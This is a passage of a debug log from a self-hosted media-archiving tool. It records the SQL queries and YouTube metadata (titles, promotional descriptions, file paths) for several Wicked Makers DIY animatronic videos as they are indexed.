2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "duration" => 1806, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", "id" => "_Hp9lSryglU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_Hp9lSryglU", "playlist_index" => 4, "timestamp" => 1764967360, "title" => "We made a real WITHERED BONNIE Animatronic from FNAF!", "upload_date" => "20251205"} 13:42:23.425 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=729.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:23.427 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=730.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:23.428 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=732.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 20:42:40Z], 35] 13:42:23.430 [debug] QUERY OK source="media_items" db=1.0ms idle=733.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "We made a real WITHERED BONNIE Animatronic from FNAF!", "5af0de65-b435-488b-9628-eebf947e2db7", "_Hp9lSryglU", false, "https://www.youtube.com/watch?v=_Hp9lSryglU", 35, [], 1806, false, 4, "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", false, false, 98, ~U[2025-12-05 20:42:40Z], ~U[2026-06-03 17:42:23Z], ~U[2026-06-03 17:42:23Z], "Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "We made a real WITHERED BONNIE Animatronic from FNAF!", "_Hp9lSryglU", "https://www.youtube.com/watch?v=_Hp9lSryglU", 35, 1806, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", false, ~U[2025-12-05 20:42:40Z]] 13:42:23.430 [debug] QUERY OK source="sources" db=0.1ms idle=46.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:23.430 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:23.431 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122438] 13:42:23.431 [debug] Current batch of media processed. Will check again in 1000ms 13:42:24.432 [debug] Current batch of media processed. Will check again in 1000ms 13:42:25.433 [debug] Current batch of media processed. Will check again in 1000ms 13:42:26.434 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "duration" => 1252, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", "id" => "ZGKi5nV0RBw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZGKi5nV0RBw", "playlist_index" => 5, "timestamp" => 1761766482, "title" => "We made a real MOMMY LONG LEGS Animatronic!", "upload_date" => "20251029"} 13:42:26.435 [debug] QUERY OK source="sources" db=0.2ms idle=1739.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:26.435 [debug] QUERY OK source="sources" db=0.2ms idle=1739.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:26.436 [debug] QUERY OK source="media_items" db=0.4ms idle=1740.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-29 19:34:42Z], 35] 13:42:26.438 [debug] QUERY OK source="media_items" db=1.2ms idle=1049.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "We made a real MOMMY LONG LEGS Animatronic!", "f79aedd0-857c-4ad1-be72-345faa527824", "ZGKi5nV0RBw", false, "https://www.youtube.com/watch?v=ZGKi5nV0RBw", 35, [], 1252, false, 5, "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", false, false, 98, ~U[2025-10-29 19:34:42Z], ~U[2026-06-03 17:42:26Z], ~U[2026-06-03 17:42:26Z], "Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "We made a real MOMMY LONG LEGS Animatronic!", "ZGKi5nV0RBw", "https://www.youtube.com/watch?v=ZGKi5nV0RBw", 35, 1252, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", false, ~U[2025-10-29 19:34:42Z]] 13:42:26.438 [debug] QUERY OK source="sources" db=0.2ms idle=48.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:26.438 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:26.439 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122439] 13:42:26.439 [debug] Current batch of media processed. Will check again in 1000ms 13:42:27.440 [debug] Current batch of media processed. Will check again in 1000ms 13:42:28.442 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "duration" => 1424, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", "id" => "VIJ9qbIX8-o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VIJ9qbIX8-o", "playlist_index" => 6, "timestamp" => 1759671585, "title" => "We made a real FIGURE Animatronic (that can hear you)", "upload_date" => "20251005"} 13:42:28.443 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=747.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:28.444 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=748.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:28.446 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=749.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-05 13:39:45Z], 35] 13:42:28.448 [debug] QUERY OK source="media_items" db=1.1ms idle=751.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "We made a real FIGURE Animatronic (that can hear you)", "3da654d9-edad-40eb-b469-24035b2715a5", "VIJ9qbIX8-o", false, "https://www.youtube.com/watch?v=VIJ9qbIX8-o", 35, [], 1424, false, 6, "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", false, false, 98, ~U[2025-10-05 13:39:45Z], ~U[2026-06-03 17:42:28Z], ~U[2026-06-03 17:42:28Z], "Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "We made a real FIGURE Animatronic (that can hear you)", "VIJ9qbIX8-o", "https://www.youtube.com/watch?v=VIJ9qbIX8-o", 35, 1424, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", false, ~U[2025-10-05 13:39:45Z]] 13:42:28.448 [debug] QUERY OK source="sources" db=0.1ms idle=55.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:28.449 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", 